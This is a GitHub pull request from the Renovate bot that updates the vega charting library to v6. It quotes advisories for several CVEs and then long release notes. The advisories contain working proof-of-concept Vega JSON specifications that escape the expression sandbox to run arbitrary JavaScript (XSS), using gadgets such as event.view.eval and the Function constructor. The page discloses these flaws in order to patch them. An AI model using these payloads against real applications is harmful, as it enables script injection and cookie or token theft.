Skip to content

Comments

Update dependency vega to v6 [SECURITY]#267

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-vega-vulnerability
Open

Update dependency vega to v6 [SECURITY]#267
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-vega-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 18, 2023

This PR contains the following updates:

Package Change Age Confidence
vega 5.20.26.2.0 age confidence

GitHub Vulnerability Alerts

CVE-2023-26487

Summary

Vega's lassoAppend function: lassoAppend accepts 3 arguments and internally invokes push function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.

This makes it possible to specify any object with a push function as the 1st argument, push function can be set to any function that can be access via event.view (no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log).

Details

The issue is that lassoAppend doesn't enforce proper types of its arguments:

.....
export function lassoAppend(lasso, x, y, minDist = 5) {
    const last = lasso[lasso.length - 1];

    // Add point to lasso if distance to last point exceed minDist or its the first point
    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
        lasso.push([x, y]);
.....

PoC

Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate function, feel free to replace with event.view.console.log or alike and observe the result in the browser's console)

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": false,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
        }
      ]
    }
  ],
  "marks": [
    {
      "name": "circle",
      "type": "symbol",
      "zindex": 1,
      "encode": {
        "enter": {
          "y": {"signal": "height/2"},
          "angle": {"value": 0},
          "size": {"value": 400},
          "shape": {"value": "circle"},
          "fill": {"value": "white"},
          "stroke": {"value": "white"},
          "strokeWidth": {"value": 2},
          "cursor": {"value": "pointer"},
          "tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
        },
        "update": {"x": {"signal": "toggle === true ? 190 : 165"}}
      }
    },
    {
      "name": "rectangle",
      "type": "rect",
      "zindex": 0,
      "encode": {
        "enter": {
          "x": {"value": 152},
          "y": {"value": 162.5},
          "width": {"value": 50},
          "height": {"value": 25},
          "cornerRadius": {"value": 20}
        },
        "update": {
          "fill": {"signal": "toggle === true ? '#​006BB4' : '#​939597'"}
        }
      }
    }
  ]
}

Impact

This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate polyfill basically allows eval-like functionality).

CVE-2023-26486

Summary

The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.

Details

The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.

PoC

The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "XSS PoC",
      "values": [1],
      "transform": [
        {
          "type": "formula",
          "as": "amount",
          "expr": "scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
        }
      ]
    }
  ]
}

This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA

CVE-2025-25304

Summary

The vlSelectionTuples function can be used to call JavaScript functions, leading to XSS.

Details

vlSelectionTuples calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.

Example call: vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})

This can be used to call Function() with arbitrary JavaScript and the resulting function can be called with vlSelectionTuples or using a type coercion to call toString or valueOf.

PoC

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]}

CVE-2025-26619

Impact

In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.

Patches

Patched in vega 5.31.0 / vega-functions 5.16.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • Run vega without vega.expressionInterpreter. This mode is not the default as it is slower.
  • Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.

References

Reproduction of the error in Vega by @​mattijn

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "signals": [
    {
      "name": "inject_alert",
      "on": [
        {
          "events": [
            {
              "type": "mousedown",
              "marktype": "rect",
              "filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
            }
          ],
          "update": "datum"
        }
      ]
    }
  ],
  "marks": [
    {
      "type": "rect",
      "encode": {
        "update": {
          "x": {"value": 0},
          "y": {"value": 0},
          "width": {"value": 100},
          "height": {"value": 100}
        }
      }
    }
  ]
}

CVE-2025-27793

Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@&#8203;@&#8203;replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@&#8203;@&#8203;replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}

CVE-2025-59840

Impact

Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

  1. Use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window
  2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

  • If using latest Vega line (6.x)
    • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode)
  • If using Vega in a non-ESM environment
    • ( vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode)

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading

  • Do not attach vega View instances to global variables, as Vega editor used to do here
  • Do not attach vega to the global window as the editor used to do here

These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }
  1. Set u to the result of calling this.eventName with undefined
    • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
  2. Sets d to this._handlers
    • For our object, we have this defined to be used later
  3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
    • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate to vega editor, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.

Future investigation

In cases where VEGA_DEBUG is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped gadgets have been found.

Impact

This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.

An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.


Release Notes

vega/vega (vega)

v6.2.0

Compare Source

What's Changed

New Contributors

Full Changelog: vega/vega@v6.1.2...v6.2.0

v6.1.2

Compare Source

v6.1.1

Compare Source

v6.1.0

Compare Source

v6.0.0

Compare Source

changes since v5.33.0

monorepo

vega-typings

docs

v5.33.1

Compare Source

What's Changed

Fixes GHSA-7f2v-3qq3-vvjf for v5 releases

Full Changelog: vega/vega@v5.33.0...v5.33.1

v5.33.0

Compare Source

Changes since v5.32.0

docs

v5.32.0

Compare Source

Changes since v5.31.0

vega-expression

  • Add base64 string encoder/decoder to vega-expression and vega-interpreter (via #​4009). (Thanks @​hydrosquall!)

vega-typings

docs

v5.31.0

Compare Source

changes since v5.30.0

vega-utils

  • use Object.hasOwn instead of Object.prototype.hasOwnProperty (via #​3951). (Thanks @​domoritz!)

vega-parser

vega-functions

vega-selections

monorepo

docs

v5.30.0

Compare Source

Changes since v5.29.0

vega-functions

docs

monorepo

v5.29.0

Compare Source

docs

monorepo

vega-encode

vega-scale

vega-scenegraph

vega-typings

vega-view

  • turn off all handlers in View.finalize() to fix memory leak. (via #​3896) (Thanks @​cmerrick!)

v5.28.0

Compare Source

changes from v5.27.0

docs

vega-parser

vega-scenegraph

  • convert some of the scenegraph types to classes (via #​3864). (Thanks @​lsh!)

vega-typings

v5.27.0

Compare Source

changes from v5.26.1:

docs

monorepo

vega-scenegraph

  • Fix blurry zoom from caching devicePixelRatio (via #​3844). (Thanks @​lsh!)

vega-transforms

vega-typings

vega-view

  • Add option to resize on devicePixelRatio change (via #​3844). (Thanks @​lsh!)

v5.26.1

Compare Source

Changes from v5.26.1:

vega-scenegraph

  • Fix CanvasHandler to emit mouse over/move/out events. (#​3825)

vega-typings

  • Expose aggregate parameters in typings. (thanks @​Xitian9)

v5.26.0

Compare Source

Changes from v5.25.0:

vega-functions

  • Add geoScale expression function. (thanks @​binste)

vega-scale

  • Fix tickMinStep calculation. (thanks @​kanitw)

vega-scenegraph

  • Add experimental hybrid canvas/SVG renderer (thanks @​jonmmease)
  • Fall back to textMetrics.width for user defined width function (thanks @​jonmmease)

vega-selections

vega-transforms

  • Add aggregate parameters to vega-transform, and exponential moving average. (thanks @​Xitian9)

vega-typings

vega-voronoi

v5.25.0

Compare Source

Changes from v5.24.0:

monorepo

  • Fix browser lists for IE support. (thanks @​domoritz!)
  • Update dependencies.

vega-cli

vega-expression

vega-functions

  • Update to use hypot.

vega-regression

  • Allow zero-valued order for polynomial regression.

vega-statistics

  • Add constant regression method.

vega-transforms

  • Use robust (null proto) object for aggregate cell map. (#​3695)

vega-util

v5.24.0

Compare Source

Changes from v5.23.0:

monorepo

  • Update dev dependencies.
  • Fix duplicated code in bundle (#​3684).

vega-force

  • Update Force transform schema to allow expression-valued nbody force strength.

vega-schema

  • Update Force transform schema to allow expression-valued nbody force strength.

vega-typings

  • Update Force transform schema to allow expression-valued nbody force strength.

v5.23.0

Compare Source

Changes from v5.22.1:

This version contains dependency updates, bug fixes, and security patches, plus a few extra utilities to aid Vega-Lite.

monorepo

  • Update dependencies, including D3 packages.
  • Update rollup config to use .mjs extensions.

vega-canvas

  • Update rollup config.

vega-crossfilter

  • Update rollup config.

vega-dataflow

  • Update rollup config.

vega-encode

  • Update rollup config.

vega-event-selector

  • Update rollup config.

vega-expression

  • Update rollup config.

vega-force

  • Update rollup config.

vega-format

  • Update rollup config.

vega-functions

vega-geo

  • Update rollup config.

vega-hierarchy

  • Update rollup config.

vega-interpreter

  • Update rollup config.

vega-label

vega-loader

  • Update rollup config.

vega-parser

vega-projection

  • Register projections as recognized Vega scales.
  • Update rollup config.

vega-projection-extended

  • Update rollup config.

vega-regression

  • Update rollup config.

vega-runtime

  • Update rollup config.

vega-scale

  • Add registerScale() and isRegisteredScale() methods. (Thanks @​hydrosquall!)
  • Register scales as recognized Vega scales.
  • Update rollup config.

vega-scenegraph

  • Update test cases to match dependency updates.
  • Update rollup config.

vega-schema

  • Make __count__ private from schema, #​3659 (Thanks @​lsh!)
  • Update rollup config.

vega-selections

  • Update rollup config.

vega-statistics

  • Update rollup config.

vega-time

  • Update rollup config.

vega-transforms

  • Update rollup config.

vega-typings

vega-util

  • Update typescript config.
  • Update rollup config.

vega-view

  • Wrap querySelectorAll in Array.from, #​3639 (Thanks @​ravron!)
  • Update rollup config.

vega-view-transforms

  • Update rollup config.
  • Fix autosize="fit-x/y" when legend is larger than plot, #​3474 (Thanks @​stas-sl!)

vega-voronoi

  • Update rollup config.

vega-wordcloud

  • Update rollup config.

vega-cli

  • Update rimraf version, adjust code in response.
  • Update rollup config.

vega

  • Update test scenes to match dependency updates.
  • Update rollup config.

v5.22.1

Compare Source

Changes from v5.22.0:

monorepo

  • Update dependencies.

vega-scenegraph

  • Fix SVG path parser null check. (#​3451).

v5.22.0

Compare Source

Changes from v5.21.0:

docs

  • Add Packed Bubble Chart example. (thanks @​PBI-David!)
  • Improve TimeUnit transform documentation.

monorepo

  • Update dependencies, including D3 ESM packages.
  • Update rollup config to bundle ESM packages for CJS use.
  • Update tests to match new dependencies.
  • Bump minor version numbers for all affected modules.

vega-functions

  • Add lasso selection expression functions. (thanks @​dvmoritzschoefl!)
  • Suppress unsupported expression function arguments.

vega-label

  • Fix to not assume that a label always has some part inside the chart's bounding box. (thanks @​chanwutk!)

vega-scenegraph

  • Fix SVG path close logic. (#​3377)
  • Fix SVG renderer dirty check. (#​3411).
  • Fix SVG path string parser, update tests. (#​3432)
  • Fix SVG mix-blend-mode to use style attribute. (#​3435)

vega-selections

  • Optimize selection functions for ID-only stores. (thanks @​arvind!)

vega-transforms

  • Fix TimeUnit transform updates.

vega-typings

  • Limit type linting to local TypeScript version only. (thanks @​domoritz!)
  • Adjust EventListenerHandler typings. (#​3390)

v5.21.0

Compare Source

Changes from v5.20.2:

monorepo

  • Update dependencies.

vega

  • Update test scenegraphs.

vega-event-selector

  • (Breaking) Change exported method name.

vega-expression

  • (Breaking) Change exported method names.

vega-label

  • Add support for infinite padding, no bounds on label layout. (#​3252)

vega-loader

  • Fix loader so that baseURL is not prepended to data: URLs. (#​3195)
  • Minor refactoring.

vega-parser

  • Update depenencies.

vega-runtime

  • Dead code elimination for runtime expression instantiation.
  • Minor refactoring.

vega-statistics

  • Fix sampleCurve utility to properly scale values in angle subdivision test. (#​3173)

vega-typings

vega-util

  • Allow customization of logger handler. (thanks @​challet!)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@CLAassistant
Copy link

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
You have signed the CLA already but the status is still pending? Let us recheck it.

@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch from 1c3bf34 to ef035a5 Compare February 14, 2025 18:08
@renovate renovate bot changed the title Update dependency vega to v5.23.0 [SECURITY] Update dependency vega to v5.26.0 [SECURITY] Feb 14, 2025
@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch from ef035a5 to f9a9695 Compare March 27, 2025 20:03
@renovate renovate bot changed the title Update dependency vega to v5.26.0 [SECURITY] Update dependency vega to v5.32.0 [SECURITY] Mar 27, 2025
@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch from f9a9695 to 777eee8 Compare November 14, 2025 21:55
@renovate renovate bot changed the title Update dependency vega to v5.32.0 [SECURITY] Update dependency vega to v6 [SECURITY] Nov 14, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant